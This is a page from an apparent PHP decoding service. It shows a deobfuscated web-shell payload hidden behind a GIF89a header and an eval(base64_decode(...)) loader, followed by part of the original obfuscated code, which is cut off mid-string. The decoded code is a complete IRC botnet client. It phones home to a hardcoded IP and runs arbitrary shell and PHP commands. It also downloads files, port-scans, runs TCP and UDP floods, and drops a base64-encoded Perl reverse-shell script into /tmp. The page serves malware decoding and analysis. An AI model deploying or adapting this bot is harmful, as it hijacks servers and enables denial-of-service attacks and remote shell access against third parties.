Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a1 <?php eval("?>".base64_decode("PD8gCgovKgogKgogKiAgU2VraXAgVGVjaG5vbG9neSBzaW5jZ..
Decoded Output download
?>b'<?
/*
*
* Sekip Technology since 2002
* edited by: STMIK and ROZI <[email protected]> <[email protected]>
* COMMANDS:
*
* .user <password> //login to the bot
* .logout //logout of the bot
* .die //kill the bot
* .restart //restart the bot
* .mail <to> <from> <subject> <msg> //send an email
* .dns <IP|HOST> //dns lookup
* .download <URL> <filename> //download a file
* .exec <cmd> // uses exec() //execute a command
* .sexec <cmd> // uses shell_exec() //execute a command
* .cmd <cmd> // uses popen() //execute a command
* .info //get system information
* .php <php code> // uses eval() //execute php code
* .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
* .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
* .raw <cmd> //raw IRC command
* .rndnick //change nickname
* .pscan <host> <port> //port scan
* .safe // test safe_mode (dvl)
* .inbox <to> // test inbox (dvl)
* .conback <ip> <port> // conect back (dvl)
* .uname // return shell\'s uname using a php function (dvl)
*
*/
set_time_limit(0);
error_reporting(0);
echo "ok!";
class pBot
{
var $config = array("server"=>"167.99.137.140",
"port"=>"443",
"pass"=>"NFam",
"prefix"=>"STMIK",
"maxrand"=>"5",
"chan"=>"#sql",
"chan2"=>"#sql",
"key"=>"NFam",
"modes"=>"+p",
"password"=>"NFam",
"trigger"=>".",
"hostauth"=>"*" //
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config[\'server\'],$this->config[\'port\'],$e,$s,30)))
$this->start();
$ident = $this->config[\'prefix\'];
$alph = range("0","9");
for($i=0;$i<$this->config[\'maxrand\'];$i++)
$ident .= $alph[rand(0,9)];
if(strlen($this->config[\'pass\'])>0)
$this->send("PASS ".$this->config[\'pass\']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config[\'modes\']);
$this->join($this->config[\'chan\'],$this->config[\'key\']);
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config[\'chan2\'],"[uname!]: $uname (safe: $safemode)");
$this->privmsg($this->config[\'chan2\'],"[vuln!]: http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']."");
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config[\'hostauth\'] || $this->config[\'hostauth\'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config[\'password\'])
{
$this->log_in($host);
}
else
{
$this->notice($this->config[\'chan\'],"[Auth]: Senha errada $nick idiota!!");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart commando from $nick");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config[\'chan\'],"[mail]: Impossivel mandar e-mail.");
}
else
{
$this->privmsg($this->config[\'chan\'],"[mail]: Mensagem enviada para ".$mcmd[1]."");
}
}
break;
case "safe":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = "on";
}
else {
$safemode = "off";
}
$this->privmsg($this->config[\'chan\'],"[safe mode]: ".$safemode."");
break;
case "inbox": //teste inbox
if(isset($mcmd[1]))
{
$token = md5(uniqid(rand(), true));
$header = "From: <inbox".$token."@byroe.org>";
$a = php_uname();
$b = getenv("SERVER_SOFTWARE");
$c = gethostbyname($_SERVER["HTTP_HOST"]);
if(!mail($mcmd[1],"InBox Test","#Sekip Technology since 2002
ip: $c
software: $b
system: $a
vuln: http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']."
greetz: wicked
by: dvl <[email protected]>",$header))
{
$this->privmsg($this->config[\'chan\'],"[inbox]: Unable to send");
}
else
{
$this->privmsg($this->config[\'chan\'],"[inbox]: Message sent to ".$mcmd[1]."");
}
}
break;
case "conback":
if(count($mcmd)>2)
{
$this->conback($mcmd[1],$mcmd[2]);
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config[\'chan\'],"[dns]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config[\'chan\'],"[dns]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config[\'chan\'],"[info]: $uname (safe: $safemode)");
$this->privmsg($this->config[\'chan\'],"[vuln]: http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']."");
break;
case "bot":
$this->privmsg($this->config[\'chan\'],"[bot]: phpbot 2.0 by; #crew@corp.");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config[\'chan\'],"[info]: $uname (safe: $safemode)");
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "sexec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config[\'chan\']," : ".trim($ret[$i]));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = exec($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config[\'chan\']," : ".trim($ret[$i]));
break;
case "passthru":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = passthru($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config[\'chan\']," : ".trim($ret[$i]));
break;
case "popen":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config[\'chan\'],"[popen]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config[\'chan\']," : $pbuf");
}
pclose($pipe);
}
case "system":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = system($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config[\'chan\']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config[\'chan\'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is open");
else
$this->privmsg($this->config[\'chan\'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is closed");
}
break;
case "ud.server": // .ud.server <server> <port> [password]
if(count($mcmd)>2)
{
$this->config[\'server\'] = $mcmd[1];
$this->config[\'port\'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config[\'pass\'] = $mcmd[3];
$this->privmsg($this->config[\'chan\'],"[update]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config[\'chan\'],"[update]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config[\'chan\'],"[download]: Nao foi possivel fazer o download. Permissao negada.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config[\'chan\'],"[download]: Nao foi possivel fazer o download de ".$mcmd[1]."");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config[\'chan\'],"[download]: Arquivo ".$mcmd[1]." baixado para ".$mcmd[2]."");
}
fclose($fp);
}
}
else { $this->privmsg($this->config[\'chan\'],"[download]: use .download http://your.host/file /tmp/file"); }
break;
case "die":
$this->send("QUIT :die command from $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config[\'chan\'],"[auth]: $nick deslogado!");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg
");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER[\'SERVER_SOFTWARE\']))
{
if(strstr(strtolower($_SERVER[\'SERVER_SOFTWARE\']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER[\'SERVER_SOFTWARE\']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER[\'SERVER_SOFTWARE\']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$this->nick .= $this->config[\'prefix\'];
for($i=0;$i<$this->config[\'maxrand\'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config[\'chan\'],"[UdpFlood Started!]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config[\'chan\'],"[UdpFlood Finished!]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config[\'chan\'],"[TcpFlood Started!]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config[\'chan\'],"[TcpFlood]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config[\'chan\'],"[TcpFlood Finished!]: Config - $packets pacotes para $host:$port.");
}
function conback($ip,$port)
{
$this->privmsg($this->config[\'chan\'],"[conback]: tentando conectando a $ip:$port");
$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
if (is_writable("/tmp"))
{
if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
$fp=fopen("/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /tmp/dc.pl $ip $port &");
unlink("/tmp/dc.pl");
}
else
{
if (is_writable("/var/tmp"))
{
if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
$fp=fopen("/var/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /var/tmp/dc.pl $ip $port &");
unlink("/var/tmp/dc.pl");
}
if (is_writable("."))
{
if (file_exists("dc.pl")) { unlink("dc.pl"); }
$fp=fopen("dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl dc.pl $ip $port &");
unlink("dc.pl");
}
}
}
}
$bot = new pBot;
$bot->start();
?>'
Did this file decode correctly?
Original Code
GIF89a1
<?php
eval("?>".base64_decode("PD8gCgovKgogKgogKiAgU2VraXAgVGVjaG5vbG9neSBzaW5jZSAyMDAyCiAqICBlZGl0ZWQgYnk6IFNUTUlLIGFuZCBST1pJIDxTVE1JS0BieXJvZS5vcmc+IDxST1pJQGJ5cm9lLm9yZz4KICogIENPTU1BTkRTOgogKgogKiAgLnVzZXIgPHBhc3N3b3JkPiAvL2xvZ2luIHRvIHRoZSBib3QKICogIC5sb2dvdXQgLy9sb2dvdXQgb2YgdGhlIGJvdAogKiAgLmRpZSAvL2tpbGwgdGhlIGJvdAogKiAgLnJlc3RhcnQgLy9yZXN0YXJ0IHRoZSBib3QKICogIC5tYWlsIDx0bz4gPGZyb20+IDxzdWJqZWN0PiA8bXNnPiAvL3NlbmQgYW4gZW1haWwKICogIC5kbnMgPElQfEhPU1Q+IC8vZG5zIGxvb2t1cAogKiAgLmRvd25sb2FkIDxVUkw+IDxmaWxlbmFtZT4gLy9kb3dubG9hZCBhIGZpbGUKICogIC5leGVjIDxjbWQ+IC8vIHVzZXMgZXhlYygpIC8vZXhlY3V0ZSBhIGNvbW1hbmQKICogIC5zZXhlYyA8Y21kPiAvLyB1c2VzIHNoZWxsX2V4ZWMoKSAvL2V4ZWN1dGUgYSBjb21tYW5kCiAqICAuY21kIDxjbWQ+IC8vIHVzZXMgcG9wZW4oKSAvL2V4ZWN1dGUgYSBjb21tYW5kCiAqICAuaW5mbyAvL2dldCBzeXN0ZW0gaW5mb3JtYXRpb24KICogIC5waHAgPHBocCBjb2RlPiAvLyB1c2VzIGV2YWwoKSAvL2V4ZWN1dGUgcGhwIGNvZGUKICogIC50Y3BmbG9vZCA8dGFyZ2V0PiA8cGFja2V0cz4gPHBhY2tldHNpemU+IDxwb3J0PiA8ZGVsYXk+IC8vdGNwZmxvb2QgYXR0YWNrCiAqICAudWRwZmxvb2QgPHRhcmdldD4gPHBhY2tldHM+IDxwYWNrZXRzaXplPiA8ZGVsYXk+IC8vdWRwZmxvb2QgYXR0YWNrCiAqICAucmF3IDxjbWQ+IC8vcmF3IElSQyBjb21tYW5kCiAqICAucm5kbmljayAvL2NoYW5nZSBuaWNrbmFtZQogKiAgLnBzY2FuIDxob3N0PiA8cG9ydD4gLy9wb3J0IHNjYW4KICogIC5zYWZlICAvLyB0ZXN0IHNhZmVfbW9kZSAoZHZsKQogKiAgLmluYm94IDx0bz4gLy8gdGVzdCBpbmJveCAoZHZsKQogKiAgLmNvbmJhY2sgPGlwPiA8cG9ydD4gLy8gY29uZWN0IGJhY2sgKGR2bCkKICogIC51bmFtZSAvLyByZXR1cm4gc2hlbGwncyB1bmFtZSB1c2luZyBhIHBocCBmdW5jdGlvbiAoZHZsKQogKgogKi8KCnNldF90aW1lX2xpbWl0KDApOyAKZXJyb3JfcmVwb3J0aW5nKDApOyAKZWNobyAib2shIjsKCmNsYXNzIHBCb3QgCnsgCiB2YXIgJGNvbmZpZyA9IGFycmF5KCJzZXJ2ZXIiPT4iMTY3Ljk5LjEzNy4xNDAiLAogICAgICAgICAgICAgICAgICAgICAicG9ydCI9PiI0NDMiLAogICAgICAgICAgICAgICAgICAgICAicGFzcyI9PiJORmFtIiwKICAgICAgICAgICAgICAgICAgICAgInByZWZpeCI9PiJTVE1JSyIsCiAgICAgICAgICAgICAgICAgICAgICJtYXhyYW5kIj0+IjUiLAogICAgICAgICAgICAgICAgICAgICAiY2hhbiI9PiIjc3FsIiwKICAgICAgICAgICAgICAgICAgICAgImNoYW4yIj0+IiNzcWwiLAogICAgICAgICAgICAgICAgICAgICAia2V5Ij0+Ik5GYW0iLAogICAgICAgICAgICAgICAgICAgICAibW9kZXMiPT4iK3AiLAogICAgICAgICAgICAgICAgICAgICAicGFzc3dvcmQiPT4iTkZhbSIsCiAgICAgICAgICAgICAgICAgICAgICJ0cmlnZ2VyIj0+Ii4iLAogICAgICAgICAgICAgICAgICAgICAiaG9zdGF1dGgiPT4iKiIgLy8gCiAgICAgICAgICAgICAgICAgICAgICk7CiB2YXIgJHVzZXJzID0gYXJyYXkoKTsgCiBmdW5jdGlvbiBzdGFydCgpIAogeyAKICAgIGlmKCEoJHRoaXMtPmNvbm4gPSBmc29ja29wZW4oJHRoaXMtPmNvbmZpZ1snc2VydmVyJ10sJHRoaXMtPmNvbmZpZ1sncG9ydCddLCRlLCRzLDMwKSkpIAogICAgICAgJHRoaXMtPnN0YXJ0KCk7IAogICAgJGlkZW50ID0gJHRoaXMtPmNvbmZpZ1sncHJlZml4J107CiAgICAkYWxwaCA9IHJhbmdlKCIwIiwiOSIpOwogICAgZm9yKCRpPTA7JGk8JHRoaXMtPmNvbmZpZ1snbWF4cmFuZCddOyRpKyspIAogICAgICAgJGlkZW50IC49ICRhbHBoW3JhbmQoMCw5KV07CiAgICBpZihzdHJsZW4oJHRoaXMtPmNvbmZpZ1sncGFzcyddKT4wKSAKICAgICAgICR0aGlzLT5zZW5kKCJQQVNTICIuJHRoaXMtPmNvbmZpZ1sncGFzcyddKTsKICAgICR0aGlzLT5zZW5kKCJVU0VSICIuJGlkZW50LiIgMTI3LjAuMC4xIGxvY2FsaG9zdCA6Ii5waHBfdW5hbWUoKS4iIik7CiAgICAkdGhpcy0+c2V0X25pY2soKTsKICAgICR0aGlzLT5tYWluKCk7CiB9IAogZnVuY3Rpb24gbWFpbigpIAogeyAKICAgIHdoaWxlKCFmZW9mKCR0aGlzLT5jb25uKSkgCiAgICB7IAogICAgICAgJHRoaXMtPmJ1ZiA9IHRyaW0oZmdldHMoJHRoaXMtPmNvbm4sNTEyKSk7IAogICAgICAgJGNtZCA9IGV4cGxvZGUoIiAiLCR0aGlzLT5idWYpOyAKICAgICAgIGlmKHN1YnN0cigkdGhpcy0+YnVmLDAsNik9PSJQSU5HIDoiKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+c2VuZCgiUE9ORyA6Ii5zdWJzdHIoJHRoaXMtPmJ1Ziw2KSk7IAogICAgICAgfSAKICAgICAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV0gPT0iMDAxIikgCiAgICAgICB7IAogICAgICAgICAgJHRoaXMtPnNlbmQoIk1PREUgIi4kdGhpcy0+bmljay4iICIuJHRoaXMtPmNvbmZpZ1snbW9kZXMnXSk7IAogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsKICAgICAgICAgIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsgJHNhZmVtb2RlID0gIm9uIjsgfQogICAgICAgICAgZWxzZSB7ICRzYWZlbW9kZSA9ICJvZmYiOyB9CiAgICAgICAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsKICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4yJ10sIltcMnVuYW1lIVwyXTogJHVuYW1lIChzYWZlOiAkc2FmZW1vZGUpIik7CiAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuMiddLCJbXDJ2dWxuIVwyXTogaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiIpOwogICAgICAgfSAKICAgICAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV09PSI0MzMiKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+c2V0X25pY2soKTsgCiAgICAgICB9IAogICAgICAgaWYoJHRoaXMtPmJ1ZiAhPSAkb2xkX2J1ZikgCiAgICAgICB7IAogICAgICAgICAgJG1jbWQgPSBhcnJheSgpOyAKICAgICAgICAgICRtc2cgPSBzdWJzdHIoc3Ryc3RyKCR0aGlzLT5idWYsIiA6IiksMik7IAogICAgICAgICAgJG1zZ2NtZCA9IGV4cGxvZGUoIiAiLCRtc2cpOyAKICAgICAgICAgICRuaWNrID0gZXhwbG9kZSgiISIsJGNtZFswXSk7IAogICAgICAgICAgJHZob3N0ID0gZXhwbG9kZSgiQCIsJG5pY2tbMV0pOyAKICAgICAgICAgICR2aG9zdCA9ICR2aG9zdFsxXTsgCiAgICAgICAgICAkbmljayA9IHN1YnN0cigkbmlja1swXSwxKTsgCiAgICAgICAgICAkaG9zdCA9ICRjbWRbMF07IAogICAgICAgICAgaWYoJG1zZ2NtZFswXT09JHRoaXMtPm5pY2spIAogICAgICAgICAgeyAKICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkbXNnY21kKTskaSsrKSAKICAgICAgICAgICAgICAkbWNtZFskaV0gPSAkbXNnY21kWyRpKzFdOyAKICAgICAgICAgIH0gCiAgICAgICAgICBlbHNlIAogICAgICAgICAgeyAKICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkbXNnY21kKTskaSsrKSAKICAgICAgICAgICAgICAkbWNtZFskaV0gPSAkbXNnY21kWyRpXTsgCiAgICAgICAgICB9IAogICAgICAgICAgaWYoY291bnQoJGNtZCk+MikgCiAgICAgICAgICB7IAogICAgICAgICAgICAgc3dpdGNoKCRjbWRbMV0pIAogICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGNhc2UgIlFVSVQiOiAKICAgICAgICAgICAgICAgICAgIGlmKCR0aGlzLT5pc19sb2dnZWRfaW4oJGhvc3QpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgIGNhc2UgIlBBUlQiOiAKICAgICAgICAgICAgICAgICAgIGlmKCR0aGlzLT5pc19sb2dnZWRfaW4oJGhvc3QpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgIGNhc2UgIlBSSVZNU0ciOiAKICAgICAgICAgICAgICAgICAgIGlmKCEkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSAmJiAoJHZob3N0ID09ICR0aGlzLT5jb25maWdbJ2hvc3RhdXRoJ10gfHwgJHRoaXMtPmNvbmZpZ1snaG9zdGF1dGgnXSA9PSAiKiIpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICBpZihzdWJzdHIoJG1jbWRbMF0sMCwxKT09Ii4iKSAKICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goc3Vic3RyKCRtY21kWzBdLDEpKSAKICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ1c2VyIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRtY21kWzFdPT0kdGhpcy0+Y29uZmlnWydwYXNzd29yZCddKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19pbigkaG9zdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5ub3RpY2UoJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJBdXRoXDJdOiBTZW5oYSBlcnJhZGEgJG5pY2sgaWRpb3RhISEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgIGVsc2VpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgCiAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgaWYoc3Vic3RyKCRtY21kWzBdLDAsMSk9PSIuIikgCiAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKHN1YnN0cigkbWNtZFswXSwxKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicmVzdGFydCI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNlbmQoIlFVSVQgOnJlc3RhcnQgY29tbWFuZG8gZnJvbSAkbmljayIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5jb25uKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c3RhcnQoKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJtYWlsIjogLy9tYWlsIHRvIGZyb20gc3ViamVjdCBtZXNzYWdlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoY291bnQoJG1jbWQpPjQpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkZXIgPSAiRnJvbTogPCIuJG1jbWRbMl0uIj4iOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFtYWlsKCRtY21kWzFdLCRtY21kWzNdLHN0cnN0cigkbXNnLCRtY21kWzRdKSwkaGVhZGVyKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogIC